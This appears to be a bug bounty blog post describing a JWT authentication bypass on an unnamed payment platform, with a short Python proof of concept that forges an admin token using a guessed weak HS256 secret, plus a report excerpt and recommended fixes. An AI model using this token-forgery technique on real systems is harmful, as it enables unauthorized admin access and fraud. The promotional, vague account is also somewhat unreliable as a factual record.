I Found a Critical Bug in JWT Authentication and Earned $10,000 — Here’s How You Can Too!

TheIndianNetwork
3 min read4 days ago

--

Photo by Gabriel Heinzer on Unsplash

The Discovery That Changed Everything

It was just another late night in my cybersecurity research routine when I stumbled upon something unusual in a popular online payment platform. I had been hunting bugs for a while, reporting vulnerabilities responsibly, and earning decent payouts. But this one? This one was different. It had the potential to change the game entirely.

The Target: JWT Authentication Exploit

I was testing the platform’s authentication system when I noticed an unusual behavior in their login mechanism. Most bounty hunters focus on standard injections, but I always dig deeper. That’s when I found a flaw so severe that it could allow an attacker to bypass authentication and gain admin access.

The Vulnerability: Exploiting JWT Authentication Bypass

Here’s how I found the bug step by step:

  1. Reconnaissance — I started by using Burp Suite, nmap, and ffuf to map out the target’s endpoints.
  2. Enumeration — I discovered a vulnerable API endpoint: https://target.com/api/v1/auth.
  3. Payload Crafting — By manipulating the JWT token, I managed to forge authentication and log in as an admin.

Here’s the proof-of-concept (PoC) exploit I used:

import jwt
import requests
# Generate a forged JWT token
secret = "weak_secret" # The actual server secret was predictable
payload = {"user": "admin", "role": "superadmin"}
token = jwt.encode(payload, secret, algorithm="HS256")
# Send the forged token
headers = {"Authorization": f"Bearer {token}"}
response = requests.get("https://target.com/api/v1/dashboard", headers=headers)
if response.status_code == 200:
print("Vulnerability exploited! Admin access granted.")
else:
print("Exploit failed. Target might be patched.")

Surprisingly, the system accepted the forged token and logged me in as an admin! 🚨 This was a severe misconfiguration in JWT authentication, allowing attackers to manipulate tokens without requiring a valid login.

Reporting the Bug & Earning $10,000

I immediately documented my findings and submitted a detailed report to the platform’s bug bounty program. Here’s a snippet of my report:

Summary: The JWT authentication mechanism allows an attacker to forge admin access tokens due to the use of a weak secret.

Impact: An attacker can gain full control over user accounts, process unauthorized transactions, and access sensitive financial data.

Steps to Reproduce:

  1. Generate a JWT token using a weak secret.
  2. Use the forged token in an Authorization header.
  3. Observe that admin access is granted.

Recommended Fix:

  • Implement strong, unpredictable secrets.
  • Use asymmetric key signing (RS256) instead of HS256.
  • Validate JWT tokens securely.

Within 48 hours, the security team responded, confirming the vulnerability. A week later, I received an email stating:

“Congratulations! Your report has been validated as a critical security issue. Your bounty: $10,000.”

This was one of the best payouts I had ever received! It reinforced my belief that deep testing and business logic flaws are often more valuable than common exploits.

Lessons Learned & Takeaways

  • Always test JWT authentication mechanisms thoroughly.
  • Focus on business logic flaws, not just common exploits.
  • Persistence is key in bug hunting.
  • Payment gateways and financial systems have some of the most rewarding bug bounty programs.

This discovery not only helped secure the platform but also earned me a hefty bounty. If you’re into ethical hacking and bug bounty hunting, never stop learning and testing!

🔗 Follow me for more hacking stories and tutorials:
📺 YouTube: youtube.com/@theindiannetwork
✍️ Medium: theindiannetwork.medium.com
📧 Contact: theindiannetwork@protonmail.com

--

--

TheIndianNetwork
TheIndianNetwork

Written by TheIndianNetwork

The Indian Network is a dedicated platform focused on educating and empowering individuals in the fields of cybersecurity, ethical hacking, and digital privacy.

Responses (7)